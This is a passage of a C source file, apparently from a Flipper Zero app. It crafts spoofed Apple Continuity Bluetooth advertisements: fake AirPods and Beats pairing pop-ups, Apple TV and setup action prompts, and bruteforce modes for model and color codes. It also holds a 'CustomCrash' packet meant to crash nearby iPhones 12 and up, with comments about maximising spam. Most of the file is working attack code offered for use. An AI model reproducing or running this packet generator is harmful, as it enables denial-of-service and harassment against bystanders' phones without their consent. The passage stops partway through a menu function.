continuity.c 42 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183
  1. #include "continuity.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL
  4. // iOS 17 Crash by @ECTO-1A
  5. // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
  6. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  7. typedef struct {
  8. uint8_t value;
  9. const char* name;
  10. } ContinuityColor;
  11. static const ContinuityColor colors_white[] = {
  12. {0x00, "White"},
  13. };
  14. static const ContinuityColor colors_beats_flex[] = {
  15. {0x00, "White"},
  16. {0x01, "Black"},
  17. };
  18. static const ContinuityColor colors_beats_solo_3[] = {
  19. {0x00, "White"},
  20. {0x01, "Black"},
  21. };
  22. static const ContinuityColor colors_powerbeats_3[] = {
  23. {0x00, "White"},
  24. {0x01, "Black"},
  25. };
  26. static const ContinuityColor colors_powerbeats_pro[] = {
  27. {0x00, "White"},
  28. {0x02, "Yellowish Green"},
  29. {0x03, "Blue"},
  30. {0x04, "Black"},
  31. {0x05, "Pink"},
  32. {0x06, "Red"},
  33. {0x0B, "Gray ?"},
  34. {0x0D, "Sky Blue"},
  35. };
  36. static const ContinuityColor colors_beats_solo_pro[] = {
  37. {0x00, "White"},
  38. {0x01, "Black"},
  39. };
  40. static const ContinuityColor colors_beats_studio_buds[] = {
  41. {0x00, "White"},
  42. {0x01, "Black"},
  43. };
  44. static const ContinuityColor colors_beats_x[] = {
  45. {0x00, "White"},
  46. {0x01, "Black"},
  47. };
  48. static const ContinuityColor colors_beats_studio_3[] = {
  49. {0x00, "White"},
  50. {0x01, "Black"},
  51. {0x02, "Red"},
  52. {0x03, "Blue"},
  53. {0x18, "Shadow Gray"},
  54. {0x19, "Desert Sand"},
  55. {0x25, "Black / Red"},
  56. {0x26, "Midnight Black"},
  57. {0x27, "Desert Sand 2"},
  58. {0x28, "Clear blue/ gold"},
  59. {0x42, "Green Forest camo"},
  60. {0x43, "White Camo"},
  61. };
  62. static const ContinuityColor colors_beats_studio_pro[] = {
  63. {0x00, "White"},
  64. {0x01, "Black"},
  65. };
  66. static const ContinuityColor colors_beats_fit_pro[] = {
  67. {0x00, "White"},
  68. {0x01, "Black"},
  69. };
  70. static const ContinuityColor colors_beats_studio_buds_[] = {
  71. {0x00, "White"},
  72. {0x01, "Black"},
  73. };
  74. static const struct {
  75. uint16_t value;
  76. const char* name;
  77. const ContinuityColor* colors;
  78. const uint8_t colors_count;
  79. } pp_models[] = {
  80. {0x0E20, "AirPods Pro", colors_white, COUNT_OF(colors_white)},
  81. {0x0A20, "AirPods Max", colors_white, COUNT_OF(colors_white)},
  82. {0x0055, "Airtag", colors_white, COUNT_OF(colors_white)},
  83. {0x0030, "Hermes Airtag", colors_white, COUNT_OF(colors_white)},
  84. {0x0220, "AirPods", colors_white, COUNT_OF(colors_white)},
  85. {0x0F20, "AirPods 2nd Gen", colors_white, COUNT_OF(colors_white)},
  86. {0x1320, "AirPods 3rd Gen", colors_white, COUNT_OF(colors_white)},
  87. {0x1420, "AirPods Pro 2nd Gen", colors_white, COUNT_OF(colors_white)},
  88. {0x1020, "Beats Flex", colors_beats_flex, COUNT_OF(colors_beats_flex)},
  89. {0x0620, "Beats Solo 3", colors_beats_solo_3, COUNT_OF(colors_beats_solo_3)},
  90. {0x0320, "Powerbeats 3", colors_powerbeats_3, COUNT_OF(colors_powerbeats_3)},
  91. {0x0B20, "Powerbeats Pro", colors_powerbeats_pro, COUNT_OF(colors_powerbeats_pro)},
  92. {0x0C20, "Beats Solo Pro", colors_beats_solo_pro, COUNT_OF(colors_beats_solo_pro)},
  93. {0x1120, "Beats Studio Buds", colors_beats_studio_buds, COUNT_OF(colors_beats_studio_buds)},
  94. {0x0520, "Beats X", colors_beats_x, COUNT_OF(colors_beats_x)},
  95. {0x0920, "Beats Studio 3", colors_beats_studio_3, COUNT_OF(colors_beats_studio_3)},
  96. {0x1720, "Beats Studio Pro", colors_beats_studio_pro, COUNT_OF(colors_beats_studio_pro)},
  97. {0x1220, "Beats Fit Pro", colors_beats_fit_pro, COUNT_OF(colors_beats_fit_pro)},
  98. {0x1620, "Beats Studio Buds+", colors_beats_studio_buds_, COUNT_OF(colors_beats_studio_buds_)},
  99. };
  100. static const uint8_t pp_models_count = COUNT_OF(pp_models);
  101. static const struct {
  102. uint8_t value;
  103. const char* name;
  104. } pp_prefixes[] = {
  105. {0x07, "New Device"},
  106. {0x01, "Not Your Device"},
  107. {0x05, "New Airtag"},
  108. };
  109. static const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
  110. static const struct {
  111. uint8_t value;
  112. const char* name;
  113. } na_actions[] = {
  114. {0x13, "AppleTV AutoFill"},
  115. {0x27, "AppleTV Connecting..."},
  116. {0x20, "Join This AppleTV?"},
  117. {0x19, "AppleTV Audio Sync"},
  118. {0x1E, "AppleTV Color Balance"},
  119. {0x09, "Setup New iPhone"},
  120. {0x02, "Transfer Phone Number"},
  121. {0x0B, "HomePod Setup"},
  122. {0x01, "Setup New AppleTV"},
  123. {0x06, "Pair AppleTV"},
  124. {0x0D, "HomeKit AppleTV Setup"},
  125. {0x2B, "AppleID for AppleTV?"},
  126. };
  127. static const uint8_t na_actions_count = COUNT_OF(na_actions);
  128. static const char* type_names[ContinuityTypeCOUNT] = {
  129. [ContinuityTypeAirDrop] = "AirDrop",
  130. [ContinuityTypeProximityPair] = "Continuity Pair",
  131. [ContinuityTypeAirplayTarget] = "Airplay Target",
  132. [ContinuityTypeHandoff] = "Handoff",
  133. [ContinuityTypeTetheringSource] = "Tethering Source",
  134. [ContinuityTypeNearbyAction] = "Continuity Action",
  135. [ContinuityTypeNearbyInfo] = "Nearby Info",
  136. [ContinuityTypeCustomCrash] = "Continuity Custom",
  137. };
  138. static const char* get_name(const Payload* payload) {
  139. const ContinuityCfg* cfg = &payload->cfg.continuity;
  140. return type_names[cfg->type];
  141. }
  142. #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
  143. static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
  144. [ContinuityTypeAirDrop] = HEADER_LEN + 18,
  145. [ContinuityTypeProximityPair] = HEADER_LEN + 25,
  146. [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
  147. [ContinuityTypeHandoff] = HEADER_LEN + 14,
  148. [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
  149. [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
  150. [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
  151. [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
  152. };
  153. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  154. ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
  155. ContinuityType type;
  156. if(cfg && cfg->type != 0x00) {
  157. type = cfg->type;
  158. } else {
  159. const ContinuityType types[] = {
  160. ContinuityTypeProximityPair,
  161. ContinuityTypeNearbyAction,
  162. ContinuityTypeCustomCrash,
  163. };
  164. type = types[rand() % COUNT_OF(types)];
  165. }
  166. uint8_t size = packet_sizes[type];
  167. uint8_t* packet = malloc(size);
  168. uint8_t i = 0;
  169. packet[i++] = size - 1; // Size
  170. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  171. packet[i++] = 0x4C; // Company ID (Apple, Inc.)
  172. packet[i++] = 0x00; // ...
  173. packet[i++] = type; // Continuity Type
  174. packet[i] = size - i - 1; // Continuity Size
  175. i++;
  176. switch(type) {
  177. case ContinuityTypeAirDrop: {
  178. packet[i++] = 0x00; // Zeros
  179. packet[i++] = 0x00; // ...
  180. packet[i++] = 0x00; // ...
  181. packet[i++] = 0x00; // ...
  182. packet[i++] = 0x00; // ...
  183. packet[i++] = 0x00; // ...
  184. packet[i++] = 0x00; // ...
  185. packet[i++] = 0x00; // ...
  186. packet[i++] = 0x01; // Version
  187. packet[i++] = (rand() % 256); // AppleID
  188. packet[i++] = (rand() % 256); // ...
  189. packet[i++] = (rand() % 256); // Phone Number
  190. packet[i++] = (rand() % 256); // ...
  191. packet[i++] = (rand() % 256); // Email
  192. packet[i++] = (rand() % 256); // ...
  193. packet[i++] = (rand() % 256); // Email2
  194. packet[i++] = (rand() % 256); // ...
  195. packet[i++] = 0x00; // Zero
  196. break;
  197. }
  198. case ContinuityTypeProximityPair: {
  199. uint16_t model;
  200. uint8_t color;
  201. switch(payload ? payload->mode : PayloadModeRandom) {
  202. case PayloadModeRandom:
  203. default: {
  204. uint8_t model_index = rand() % pp_models_count;
  205. uint8_t color_index = rand() % pp_models[model_index].colors_count;
  206. model = pp_models[model_index].value;
  207. color = pp_models[model_index].colors[color_index].value;
  208. break;
  209. }
  210. case PayloadModeValue:
  211. model = cfg->data.proximity_pair.model;
  212. color = cfg->data.proximity_pair.color;
  213. break;
  214. case PayloadModeBruteforce:
  215. switch(cfg->data.proximity_pair.bruteforce_mode) {
  216. case ContinuityPpBruteforceModel:
  217. default:
  218. model = cfg->data.proximity_pair.model = payload->bruteforce.value;
  219. color = cfg->data.proximity_pair.color;
  220. break;
  221. case ContinuityPpBruteforceColor:
  222. model = cfg->data.proximity_pair.model;
  223. color = cfg->data.proximity_pair.color = payload->bruteforce.value;
  224. break;
  225. }
  226. break;
  227. }
  228. uint8_t prefix;
  229. if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
  230. prefix = cfg->data.proximity_pair.prefix;
  231. } else {
  232. if(model == 0x0055 || model == 0x0030)
  233. prefix = 0x05;
  234. else
  235. prefix = 0x01;
  236. }
  237. packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  238. packet[i++] = (model >> 0x08) & 0xFF; // Device Model
  239. packet[i++] = (model >> 0x00) & 0xFF; // ...
  240. packet[i++] = 0x55; // Status
  241. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  242. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  243. packet[i++] = (rand() % 256); // Lid Open Counter
  244. packet[i++] = color; // Device Color
  245. packet[i++] = 0x00;
  246. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  247. i += 16;
  248. break;
  249. }
  250. case ContinuityTypeAirplayTarget: {
  251. packet[i++] = (rand() % 256); // Flags
  252. packet[i++] = (rand() % 256); // Configuration Seed
  253. packet[i++] = (rand() % 256); // IPv4 Address
  254. packet[i++] = (rand() % 256); // ...
  255. packet[i++] = (rand() % 256); // ...
  256. packet[i++] = (rand() % 256); // ...
  257. break;
  258. }
  259. case ContinuityTypeHandoff: {
  260. packet[i++] = 0x01; // Version
  261. packet[i++] = (rand() % 256); // Initialization Vector
  262. packet[i++] = (rand() % 256); // ...
  263. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  264. packet[i++] = (rand() % 256); // Encrypted Payload
  265. packet[i++] = (rand() % 256); // ...
  266. packet[i++] = (rand() % 256); // ...
  267. packet[i++] = (rand() % 256); // ...
  268. packet[i++] = (rand() % 256); // ...
  269. packet[i++] = (rand() % 256); // ...
  270. packet[i++] = (rand() % 256); // ...
  271. packet[i++] = (rand() % 256); // ...
  272. packet[i++] = (rand() % 256); // ...
  273. packet[i++] = (rand() % 256); // ...
  274. break;
  275. }
  276. case ContinuityTypeTetheringSource: {
  277. packet[i++] = 0x01; // Version
  278. packet[i++] = (rand() % 256); // Flags
  279. packet[i++] = (rand() % 101); // Battery Life
  280. packet[i++] = 0x00; // Cell Service Type
  281. packet[i++] = (rand() % 8); // ...
  282. packet[i++] = (rand() % 5); // Cell Service Strength
  283. break;
  284. }
  285. case ContinuityTypeNearbyAction: {
  286. uint8_t action;
  287. switch(payload ? payload->mode : PayloadModeRandom) {
  288. case PayloadModeRandom:
  289. default:
  290. action = na_actions[rand() % na_actions_count].value;
  291. break;
  292. case PayloadModeValue:
  293. action = cfg->data.nearby_action.action;
  294. break;
  295. case PayloadModeBruteforce:
  296. action = cfg->data.nearby_action.action = payload->bruteforce.value;
  297. break;
  298. }
  299. uint8_t flags;
  300. if(cfg && cfg->data.nearby_action.flags != 0x00) {
  301. flags = cfg->data.nearby_action.flags;
  302. } else {
  303. flags = 0xC0;
  304. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  305. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  306. }
  307. packet[i++] = flags; // Action Flags
  308. packet[i++] = action; // Action Type
  309. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  310. i += 3;
  311. break;
  312. }
  313. case ContinuityTypeNearbyInfo: {
  314. packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
  315. packet[i++] = (rand() % 256); // Status Flags
  316. packet[i++] = (rand() % 256); // Authentication Tag
  317. packet[i++] = (rand() % 256); // ...
  318. packet[i++] = (rand() % 256); // ...
  319. break;
  320. }
  321. case ContinuityTypeCustomCrash: {
  322. // Found by @ECTO-1A
  323. uint8_t action = na_actions[rand() % na_actions_count].value;
  324. uint8_t flags = 0xC0;
  325. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  326. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  327. i -= 2; // Override segment header
  328. packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
  329. packet[i++] = 5; // Continuity Size
  330. packet[i++] = flags; // Action Flags
  331. packet[i++] = action; // Action Type
  332. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  333. i += 3;
  334. packet[i++] = 0x00; // Additional Action Data Terminator (?)
  335. packet[i++] = 0x00; // ...
  336. packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
  337. furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
  338. i += 3;
  339. break;
  340. }
  341. default:
  342. break;
  343. }
  344. *_size = size;
  345. *_packet = packet;
  346. }
  347. enum {
  348. _ConfigPpExtraStart = ConfigExtraStart,
  349. ConfigPpModel,
  350. ConfigPpColor,
  351. ConfigPpPrefix,
  352. ConfigPpCOUNT,
  353. };
  354. enum {
  355. _ConfigNaExtraStart = ConfigExtraStart,
  356. ConfigNaAction,
  357. ConfigNaFlags,
  358. ConfigNaCOUNT,
  359. };
  360. enum {
  361. _ConfigCcExtraStart = ConfigExtraStart,
  362. ConfigCcInfoLock,
  363. ConfigCcInfoDevice,
  364. ConfigCcCOUNT,
  365. };
  366. static void config_callback(void* _ctx, uint32_t index) {
  367. Ctx* ctx = _ctx;
  368. Payload* payload = &ctx->attack->payload;
  369. ContinuityCfg* cfg = &payload->cfg.continuity;
  370. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  371. switch(cfg->type) {
  372. case ContinuityTypeProximityPair: {
  373. switch(index) {
  374. case ConfigPpModel:
  375. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
  376. break;
  377. case ConfigPpColor:
  378. if(payload->mode != PayloadModeRandom)
  379. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColor);
  380. break;
  381. case ConfigPpPrefix:
  382. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
  383. break;
  384. default:
  385. ctx->fallback_config_enter(ctx, index);
  386. break;
  387. }
  388. break;
  389. }
  390. case ContinuityTypeNearbyAction: {
  391. switch(index) {
  392. case ConfigNaAction:
  393. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
  394. break;
  395. case ConfigNaFlags:
  396. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
  397. break;
  398. default:
  399. ctx->fallback_config_enter(ctx, index);
  400. break;
  401. }
  402. break;
  403. }
  404. case ContinuityTypeCustomCrash: {
  405. switch(index) {
  406. case ConfigCcInfoLock:
  407. case ConfigCcInfoDevice:
  408. break;
  409. default:
  410. ctx->fallback_config_enter(ctx, index);
  411. break;
  412. }
  413. break;
  414. }
  415. default:
  416. ctx->fallback_config_enter(ctx, index);
  417. break;
  418. }
  419. }
  420. static void pp_model_changed(VariableItem* item) {
  421. Ctx* ctx = variable_item_get_context(item);
  422. Payload* payload = &ctx->attack->payload;
  423. ContinuityCfg* cfg = &payload->cfg.continuity;
  424. uint8_t index = variable_item_get_current_value_index(item);
  425. if(index) {
  426. index--;
  427. if(payload->mode != PayloadModeBruteforce ||
  428. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  429. payload->mode = PayloadModeValue;
  430. cfg->data.proximity_pair.model = pp_models[index].value;
  431. variable_item_set_current_value_text(item, pp_models[index].name);
  432. } else {
  433. payload->mode = PayloadModeRandom;
  434. variable_item_set_current_value_text(item, "Random");
  435. }
  436. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, ConfigPpModel);
  437. scene_manager_previous_scene(ctx->scene_manager);
  438. scene_manager_next_scene(ctx->scene_manager, SceneConfig);
  439. }
  440. static void pp_color_changed(VariableItem* item) {
  441. Payload* payload = variable_item_get_context(item);
  442. ContinuityCfg* cfg = &payload->cfg.continuity;
  443. uint8_t index = variable_item_get_current_value_index(item);
  444. if(payload->mode != PayloadModeBruteforce ||
  445. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  446. payload->mode = PayloadModeValue;
  447. uint8_t model_index = 0;
  448. for(; model_index < pp_models_count; model_index++) {
  449. if(cfg->data.proximity_pair.model == pp_models[model_index].value) break;
  450. }
  451. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  452. variable_item_set_current_value_text(item, pp_models[model_index].colors[index].name);
  453. }
  454. static void pp_prefix_changed(VariableItem* item) {
  455. Payload* payload = variable_item_get_context(item);
  456. ContinuityCfg* cfg = &payload->cfg.continuity;
  457. uint8_t index = variable_item_get_current_value_index(item);
  458. if(index) {
  459. index--;
  460. cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
  461. variable_item_set_current_value_text(item, pp_prefixes[index].name);
  462. } else {
  463. cfg->data.proximity_pair.prefix = 0x00;
  464. variable_item_set_current_value_text(item, "Auto");
  465. }
  466. }
  467. static void na_action_changed(VariableItem* item) {
  468. Payload* payload = variable_item_get_context(item);
  469. ContinuityCfg* cfg = &payload->cfg.continuity;
  470. uint8_t index = variable_item_get_current_value_index(item);
  471. if(index) {
  472. index--;
  473. payload->mode = PayloadModeValue;
  474. cfg->data.nearby_action.action = na_actions[index].value;
  475. variable_item_set_current_value_text(item, na_actions[index].name);
  476. } else {
  477. payload->mode = PayloadModeRandom;
  478. variable_item_set_current_value_text(item, "Random");
  479. }
  480. }
  481. static void extra_config(Ctx* ctx) {
  482. Payload* payload = &ctx->attack->payload;
  483. ContinuityCfg* cfg = &payload->cfg.continuity;
  484. VariableItemList* list = ctx->variable_item_list;
  485. VariableItem* item;
  486. uint8_t value_index;
  487. switch(cfg->type) {
  488. case ContinuityTypeProximityPair: {
  489. item =
  490. variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, ctx);
  491. const char* model_name = NULL;
  492. char model_name_buf[5];
  493. const char* color_name = NULL;
  494. char color_name_buf[3];
  495. uint8_t colors_count;
  496. uint8_t value_index_color;
  497. switch(payload->mode) {
  498. case PayloadModeRandom:
  499. default:
  500. model_name = "Random";
  501. value_index = 0;
  502. color_name = "Random";
  503. colors_count = 1;
  504. value_index_color = 0;
  505. break;
  506. case PayloadModeValue:
  507. for(uint8_t i = 0; i < pp_models_count; i++) {
  508. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  509. model_name = pp_models[i].name;
  510. value_index = i + 1;
  511. colors_count = pp_models[i].colors_count;
  512. for(uint8_t j = 0; j < colors_count; j++) {
  513. if(cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  514. color_name = pp_models[i].colors[j].name;
  515. value_index_color = j;
  516. break;
  517. }
  518. }
  519. break;
  520. }
  521. }
  522. if(!model_name) {
  523. snprintf(
  524. model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
  525. model_name = model_name_buf;
  526. value_index = pp_models_count + 1;
  527. colors_count = 0;
  528. }
  529. if(!color_name) {
  530. snprintf(
  531. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  532. color_name = color_name_buf;
  533. value_index_color = colors_count;
  534. }
  535. break;
  536. case PayloadModeBruteforce:
  537. switch(cfg->data.proximity_pair.bruteforce_mode) {
  538. case ContinuityPpBruteforceModel:
  539. default:
  540. model_name = "Bruteforce";
  541. value_index = pp_models_count + 1;
  542. snprintf(
  543. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  544. color_name = color_name_buf;
  545. colors_count = 1;
  546. value_index_color = 0;
  547. break;
  548. case ContinuityPpBruteforceColor:
  549. for(uint8_t i = 0; i < pp_models_count; i++) {
  550. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  551. model_name = pp_models[i].name;
  552. value_index = i + 1;
  553. colors_count = pp_models[i].colors_count;
  554. break;
  555. }
  556. }
  557. if(!model_name) {
  558. snprintf(
  559. model_name_buf,
  560. sizeof(model_name_buf),
  561. "%04X",
  562. cfg->data.proximity_pair.model);
  563. model_name = model_name_buf;
  564. value_index = pp_models_count + 1;
  565. colors_count = 0;
  566. }
  567. color_name = "Bruteforce";
  568. value_index_color = colors_count;
  569. break;
  570. }
  571. break;
  572. }
  573. variable_item_set_current_value_index(item, value_index);
  574. variable_item_set_current_value_text(item, model_name);
  575. item =
  576. variable_item_list_add(list, "Device Color", colors_count, pp_color_changed, payload);
  577. variable_item_set_current_value_index(item, value_index_color);
  578. variable_item_set_current_value_text(item, color_name);
  579. item = variable_item_list_add(
  580. list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
  581. const char* prefix_name = NULL;
  582. char prefix_name_buf[3];
  583. if(cfg->data.proximity_pair.prefix == 0x00) {
  584. prefix_name = "Auto";
  585. value_index = 0;
  586. } else {
  587. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  588. if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  589. prefix_name = pp_prefixes[i].name;
  590. value_index = i + 1;
  591. break;
  592. }
  593. }
  594. if(!prefix_name) {
  595. snprintf(
  596. prefix_name_buf,
  597. sizeof(prefix_name_buf),
  598. "%02X",
  599. cfg->data.proximity_pair.prefix);
  600. prefix_name = prefix_name_buf;
  601. value_index = pp_prefixes_count + 1;
  602. }
  603. }
  604. variable_item_set_current_value_index(item, value_index);
  605. variable_item_set_current_value_text(item, prefix_name);
  606. break;
  607. }
  608. case ContinuityTypeNearbyAction: {
  609. item = variable_item_list_add(
  610. list, "Action Type", na_actions_count + 1, na_action_changed, payload);
  611. const char* action_name = NULL;
  612. char action_name_buf[3];
  613. switch(payload->mode) {
  614. case PayloadModeRandom:
  615. default:
  616. action_name = "Random";
  617. value_index = 0;
  618. break;
  619. case PayloadModeValue:
  620. for(uint8_t i = 0; i < na_actions_count; i++) {
  621. if(cfg->data.nearby_action.action == na_actions[i].value) {
  622. action_name = na_actions[i].name;
  623. value_index = i + 1;
  624. break;
  625. }
  626. }
  627. if(!action_name) {
  628. snprintf(
  629. action_name_buf,
  630. sizeof(action_name_buf),
  631. "%02X",
  632. cfg->data.nearby_action.action);
  633. action_name = action_name_buf;
  634. value_index = na_actions_count + 1;
  635. }
  636. break;
  637. case PayloadModeBruteforce:
  638. action_name = "Bruteforce";
  639. value_index = na_actions_count + 1;
  640. break;
  641. }
  642. variable_item_set_current_value_index(item, value_index);
  643. variable_item_set_current_value_text(item, action_name);
  644. item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
  645. const char* flags_name = NULL;
  646. char flags_name_buf[3];
  647. if(cfg->data.nearby_action.flags == 0x00) {
  648. flags_name = "Auto";
  649. } else {
  650. snprintf(
  651. flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
  652. flags_name = flags_name_buf;
  653. }
  654. variable_item_set_current_value_text(item, flags_name);
  655. break;
  656. }
  657. case ContinuityTypeCustomCrash: {
  658. variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
  659. variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
  660. break;
  661. }
  662. default:
  663. break;
  664. }
  665. variable_item_list_set_enter_callback(list, config_callback, ctx);
  666. }
  667. static uint8_t config_counts[ContinuityTypeCOUNT] = {
  668. [ContinuityTypeAirDrop] = 0,
  669. [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
  670. [ContinuityTypeAirplayTarget] = 0,
  671. [ContinuityTypeHandoff] = 0,
  672. [ContinuityTypeTetheringSource] = 0,
  673. [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
  674. [ContinuityTypeNearbyInfo] = 0,
  675. [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
  676. };
  677. static uint8_t config_count(const Payload* payload) {
  678. const ContinuityCfg* cfg = &payload->cfg.continuity;
  679. return config_counts[cfg->type];
  680. }
  681. const Protocol protocol_continuity = {
  682. .icon = &I_apple,
  683. .get_name = get_name,
  684. .make_packet = make_packet,
  685. .extra_config = extra_config,
  686. .config_count = config_count,
  687. };
  688. static void pp_model_callback(void* _ctx, uint32_t index) {
  689. Ctx* ctx = _ctx;
  690. Payload* payload = &ctx->attack->payload;
  691. ContinuityCfg* cfg = &payload->cfg.continuity;
  692. switch(index) {
  693. case 0:
  694. payload->mode = PayloadModeRandom;
  695. scene_manager_previous_scene(ctx->scene_manager);
  696. break;
  697. case pp_models_count + 1:
  698. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
  699. break;
  700. case pp_models_count + 2:
  701. payload->mode = PayloadModeBruteforce;
  702. payload->bruteforce.counter = 0;
  703. payload->bruteforce.value = cfg->data.proximity_pair.model;
  704. payload->bruteforce.size = 2;
  705. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceModel;
  706. scene_manager_previous_scene(ctx->scene_manager);
  707. break;
  708. default:
  709. if(payload->mode != PayloadModeBruteforce ||
  710. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  711. payload->mode = PayloadModeValue;
  712. cfg->data.proximity_pair.model = pp_models[index - 1].value;
  713. scene_manager_previous_scene(ctx->scene_manager);
  714. break;
  715. }
  716. }
  717. void scene_continuity_pp_model_on_enter(void* _ctx) {
  718. Ctx* ctx = _ctx;
  719. Payload* payload = &ctx->attack->payload;
  720. ContinuityCfg* cfg = &payload->cfg.continuity;
  721. Submenu* submenu = ctx->submenu;
  722. uint32_t selected = 0;
  723. submenu_reset(submenu);
  724. bool value = payload->mode == PayloadModeValue ||
  725. (payload->mode == PayloadModeBruteforce &&
  726. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceModel);
  727. submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
  728. if(payload->mode == PayloadModeRandom) {
  729. selected = 0;
  730. }
  731. bool found = false;
  732. for(uint8_t i = 0; i < pp_models_count; i++) {
  733. submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
  734. if(!found && value && cfg->data.proximity_pair.model == pp_models[i].value) {
  735. found = true;
  736. selected = i + 1;
  737. }
  738. }
  739. submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
  740. if(!found && value) {
